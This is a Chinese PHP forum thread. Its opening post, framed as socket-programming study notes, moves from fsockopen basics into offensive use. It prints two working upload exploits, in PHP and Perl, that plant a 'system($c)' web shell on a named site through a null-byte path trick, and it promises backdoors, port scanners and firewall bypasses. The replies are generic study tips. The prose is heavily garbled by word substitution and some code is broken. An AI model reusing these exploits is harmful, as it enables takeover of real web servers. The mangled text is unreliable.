仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 1406|回复: 19
打印 上一主题 下一主题

[学习教程] PHP网页编程之PHP-SOCKETS念书笔记

[复制链接]
谁可相欹 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-2-4 00:11:06 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
第1步环境配置好了,你算了进了1小步了,那么第2步呢 就是调出第1个程序 一般都是用hello world,视频教程里面我都做了,hello world笔记   进修PHP2个月了,播种挺多.然而与他人分歧的是,我更喜好SOCKET.PHP在SOCKET这方面的文章太少了.所以决意写一系列PHP-SOCKET念书笔记.一向从最根基写到SOCKET_RAW.
实例+心得.实例将会有端口转发(冲破防火墙),动网类型EXP,端口扫描,PHP后门,发包型EXP框架.因为进修原因,每周只能写一篇.现给出卷一.但愿人人一同投入到PHP SHELL编程中来.


媒介:

PHP是世界上最盛行的剧本言语之一。一向以来它在WEB编程中失掉极普遍的使用。我想说的是PHP不但在WEB方面精彩,在SHELL方面一样精彩。只是人们更习气用PERL来编写SHELL剧本.这里声名一下,自己不是PHP高手,接触PHP不外几个礼拜,这只是一篇念书笔记。有毛病的中央请提出来。也能够给我MAIL,配合切磋PHP。

前置常识:

PHP最吸引我的中央就是SOCKETS 扩大,现实上我会复杂的VB WINSOCK,完整能用VB写一个经常使用的WINSOCK法式出来。然而我仍是选择了PHP。由于它是跨平台的。

PHP默许是不撑持初级SOCKET的,只撑持被“封装”的fsockopen等几个函数。SOCKET作为PHP的扩大,需求设置一下才干使其撑持。在WINDOWS需求设置PHP。INI,在PHP。INI找;Windows Extensions这一行,去失落;extension=php_sockets.dll 后面的分号。THAT‘S OK。*NIX下则需求在编译的时分到场-enable―sockets号令。在没有利用DL()函数的时分,你的PHP必需和在统一目次php_sockets.dll。好了,完成PHP SOCKET设置装备摆设了。

上面就是运转的成绩了

在终端下运转PHP剧本很复杂。WINDOWS下C:\php\php.exe Cq test.php,*NIX下要在PHP文件事前声名由PHP来履行,就像PERL一样。像#!/usr/local/bin/php Cq .,然后再来个./test.php。参数q的意思就是不输入PHP标头信息。

输出参数成绩:

有的人说,PHP SHELL若何输出参数。在WEB的时分可以如许输出参数http://xxx.com/aa.php?参数1=XXXX&参数2=ssssss。不妨PHP同PERL一样,具有类似的参数功效。来看官方的描写

“argv”

传递给该剧本的参数。当剧本运转在号令行体例时,argv 变量传递给法式 C 言语款式的号令行参数。当挪用 GET 办法时,该变量包括恳求的数据。

“argc”

包括传递给法式的号令行参数的个数(假如运转在号令行形式)。



呵呵,复杂的说。看我举个例子

<?

if ($argc != 4 || in_array($argc[1] , array('--help','-h','?')))

{

echo "By Darkness[BST].We will come back soon!\r\n";

echo "------------------------------------------------\r\n";

echo "C:/PHP/PHP.exe -q uploadexp.php http://www.bugkidz.org/upload.php filepath\r\n";

echo "------------------------------------------------\r\n";

}

$host = $argv[1];

$url = $argv[2];

$path = $argv[3];

?>



我想你应当看懂了哦,这里ARGC[0]是指的法式自己。也能够如许来.

Printf(%s,$argv[1]); 后面一段谈到号令行体例的运转。更多请参照
http://www.php.net/manual/zh/features.commandline.php


1.fopen的使用
fopen也能够被称作被封装的SOCKET函数。不但用于文件读写,还可以用于SOCKET。FOPEN相当于其他初级言语的INET控件/类,较于FSOCKOPEN,他关于URL的操作更初级。

fopen的利用办法
$s = fopen ($url, mode);
fopen的MODE属性:
mode 申明
'r' 只读体例翻开,将文件指针指向文件头。
'r+' 读写体例翻开,将文件指针指向文件头。
'w' 写入体例翻开,将文件指针指向文件头并将文件巨细截为零。假如文件不存在则测验考试创立之。
'w+' 读写体例翻开,将文件指针指向文件头并将文件巨细截为零。假如文件不存在则测验考试创立之。
'a' 写入体例翻开,将文件指针指向文件末尾。假如文件不存在则测验考试创立之。
'a+' 读写体例翻开,将文件指针指向文件末尾。假如文件不存在则测验考试创立之。
'x' 创立并以写入体例翻开,将文件指针指向文件头。假如文件已存在,则 fopen() 挪用掉败并前往 FALSE,并生成一条 E_WARNING 级其余毛病信息。假如文件不存在则测验考试创立之。这和给 底层的 open(2) 体系挪用指定 O_EXCL|O_CREAT 标志是等价的。此选项被 PHP 4.3.2 和今后的版本所撑持,仅能用于当地文件。
'x+' 创立并以读写体例翻开,将文件指针指向文件头。假如文件已存在,则 fopen() 挪用掉败并前往 FALSE,并生成一条 E_WARNING 级其余毛病信息。假如文件不存在则测验考试创立之。这和给 底层的 open(2) 体系挪用指定 O_EXCL|O_CREAT 标志是等价的。此选项被 PHP 4.3.2 和今后的版本所撑持,仅能用于当地文件。


即用于当地文件的操作,也能够用于INET。是否是很KOOL?
假设要测试一个站的IIS目次是否是有写权限。
可以如许写
$s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”)
假如存在的话,你可以持续机关上面的语句。用Fwrite 近程写入文件。
然而普通的网站都是只读权限的
$s =fopen("http://www.bugkidz.org/index.php?id=1","r");
如许就读入了http://www.bugkidz.org/index.php?id=1的内容,然而还得经由处置才干获得完全的文件内容
如许
while (!feof($s)) {
echo fgets($s, 1024);
}
我以为FOPEN用于SQL INJECTION是最便利不外的了。
function phpinet($url)
{
fopen($url,"r") or die("翻开URL毛病");


while (!feof($s)) {
$cahe = fgets($s, 1024);
}

retrun $cahe;
fclose($s)
}


这段函数同等于VB中的inet.openurl Fsockopen族函数的利用
fsockopen也是被封装的一类socket函数.有点相似于VB中的winsock控件.使人遗憾的是它撑持自动socket毗连,不撑持bind,listen等,假如需求完成这些功效,则要利用PHP中的初级socket编程.即使是如许,fsockopen函数也能知足大多半的需求.
如许利用fsockopen
resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])

例子:
$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);
后面2个是地址和端口,两头2个是有关毛病的变量,最初就是timeout设置了.
凡是$sock = fsockopen("192.168.0.1",80);如许便可.
$sock = fsockopen("192.168.0.1",80);这是典范的TCP毗连.UDP毗连如许来
$sock = fsockopen("udp://192.168.0.1",53);
用这个来写一个TFTP的客户端也是可以的.

fsockopen的使用实例:

实例一,复杂的HTTP会话.

代码

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>  



流程通常为如许的
创立fsockopen 资本,界说发送内容,用fwrite函数或fputs函数写入界说内容,一行一行的输入失掉的内容,直到抵达文件末尾,fgets函数或是fread利用.利用fclose封闭创立的fsockopen 资本.
ANGEL写了一个PHP的端口扫描东西,贴出之
http://www.4ngel.net/article/20.htm

选择fsockopen 来写复杂EXP发送框架相对是个goodidea.becoz it's so easy.
看我的PHP上传破绽的exp.

代码

<?php
#codz by Darkness MSN:Cqxy[at]21cn.net
$sock = fsockopen("www.ririririri.com",80);
if (!$sock)
{ echo "CANNOT CONNECT IT!";
}
$body = "-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"path\"\r\n".
"\r\n".
"www.ppp%00\r\n".
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"<?php\r\n".
"system($c);\r\n".
"?>\r\n".
"-----------------------------7d41f4a600472--\r\n".
"\r\n";

$header ="POST /index.php?action=upload HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-Flash, */*\r\n".
"Referer: http://127.0.0.1/index.php?path=.\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
"Host: 127.0.0.1\r\n".
"Content-Length: strlen($body)\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: PHPSESSID=111111111111111111111111\r\n".
"\r\n";
fputs($sock,$header);
sleep(1);

fputs($sock,$body);
while (!feof($sock))
{
echo fgets($sock,128);
}
fclose($sock);
?>  



再来看XIAOLU用PERL写的exp

代码

#!/usr/bin/perl
$| = 1;
use Socket;
$host = "127.0.0.1";
$port = "80";
$UploadTo = "";
$str =
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"path\"\r\n".
"\r\n".
"www.ppp%00\r\n".
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
"<?php\r\n".
"system($c);\r\n".
"?>\r\n".
"-----------------------------7d41f4a600472--\r\n".
"\r\n";

print $str;
$len=length($str);
print $len;

$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://127.0.0.1/index.php?path=.\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
"Host: 127.0.0.1\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: PHPSESSID=111111111111111111111111\r\n".
"\r\n".
"$str\r\n\r\n";
print $req;
@res = sendraw($req);
print @res;

#Hmm...Maybe you can send it by other way


sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;

else {
die("Can't connect...\n");

}  

多去关于PHP的网站,尤其有很多经典的文章,多读读这些文章显然是有好处的。
蒙在股里 该用户已被删除
沙发
发表于 2015-2-4 09:51:31 | 只看该作者
找到的的资料很多都是在论坛里的,需要注册,所以我一般没到一个论坛都注册一个id,所有的id都注册成一样的,这样下次再进来的时候就不用重复注册啦。当然有些论坛的某些资料是需要的付费的。
兰色精灵 该用户已被删除
板凳
发表于 2015-2-6 02:44:43 | 只看该作者
小鸟是第一次发帖(我习惯潜水的(*^__^*) 嘻嘻……),有错误之处还请大家批评指正,另外,前些日子听人说有高手能用php写驱动程序,真是学无止境,人外有人,天外有天。
因胸联盟 该用户已被删除
地板
发表于 2015-2-8 23:52:06 | 只看该作者
兴趣是最好的老师,百度是最好的词典。
深爱那片海 该用户已被删除
5#
发表于 2015-2-26 11:34:03 | 只看该作者
最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。
老尸 该用户已被删除
6#
发表于 2015-3-1 16:14:27 | 只看该作者
,熟悉html,能用div+css,还有javascript,优先考虑linux。我在开始学习的时候,就想把这些知识一起学习,我天真的认为同时学习能够互相呼应,因为知识是相通的。
再现理想 该用户已被删除
7#
发表于 2015-3-2 10:19:24 | 只看该作者
我学习了一段时间后,我发现效果并不好(估计是我自身的问题)。因为一个人的精力总是有限的,同时学习这么多,会导致每个的学习时间都得不到保证。
简单生活 该用户已被删除
8#
发表于 2015-3-11 03:01:53 | 只看该作者
遇到出错的时候,我经常把错误信息直接复制到 google的搜索栏,一般情况都是能搜到结果的,不过有时候会搜出来一大片英文的出来,这时候就得过滤一下,吧中文的弄出来,挨着式方法。
不帅 该用户已被删除
9#
发表于 2015-3-11 12:02:31 | 只看该作者
刚开始安装php的时候,我图了个省事,把php的扩展全都打开啦(就是把php.ini 那一片 extension 前面的冒号全去掉啦),这样自然有好处,以后不用再需要什么功能再来打开。
再见西城 该用户已被删除
10#
发表于 2015-3-18 10:08:09 | 只看该作者
php里的数组为空的时候是不能拿来遍历的;(这个有点低级啊,不过我刚被这个边界问题墨迹了好长一会)
谁可相欹 该用户已被删除
11#
 楼主| 发表于 2015-4-1 03:10:58 | 只看该作者
实践是检验自己会不会的真理。
分手快乐 该用户已被删除
12#
发表于 2015-4-11 07:08:45 | 只看该作者
兴趣是最好的老师,百度是最好的词典。
小妖女 该用户已被删除
13#
发表于 2015-4-14 23:22:57 | 只看该作者
在我安装pear包的时候老是提示,缺少某某文件,才发现 那群extension 的排列是应该有一点的顺序,而我安装的版本的排序不是正常的排序。没办法我只好把那群冒号加了上去,只留下我需要使用的扩展。
第二个灵魂 该用户已被删除
14#
发表于 2015-4-21 08:17:30 | 只看该作者
最后祝愿,php会给你带来快乐的同时 你也会给他带来快乐。
活着的死人 该用户已被删除
15#
发表于 2015-4-26 12:14:49 | 只看该作者
遇到出错的时候,我经常把错误信息直接复制到 google的搜索栏,一般情况都是能搜到结果的,不过有时候会搜出来一大片英文的出来,这时候就得过滤一下,吧中文的弄出来,挨着式方法。
透明 该用户已被删除
16#
发表于 2015-6-10 11:03:04 | 只看该作者
使用 jquery 等js框架的时候,要随时注意浏览器的更新情况,不然很容易发生框架不能使用。
只想知道 该用户已被删除
17#
发表于 2015-6-11 11:19:18 | 只看该作者
说php的话,首先得提一下数组,开始的时候我是最烦数组的,总是被弄的晕头转向,不过后来呢,我觉得数组里php里最强大的存储方法,所以建议新手们要学好数组。
海妖 该用户已被删除
18#
发表于 2015-6-14 02:15:50 | 只看该作者
环境搭建好,当你看见你的浏览器输出“it works\\\\\\\"时你一定是喜悦的。在你解决问题的时候,我强烈建议多读php手册。
莫相离 该用户已被删除
19#
发表于 2015-6-24 22:17:01 | 只看该作者
其实没啥难的,多练习,练习写程序,真正的实践比看100遍都有用。不过要熟悉引擎
若天明 该用户已被删除
20#
发表于 2015-7-7 21:53:49 | 只看该作者
做为1门年轻的语言,php一直很努力。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-16 02:22

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表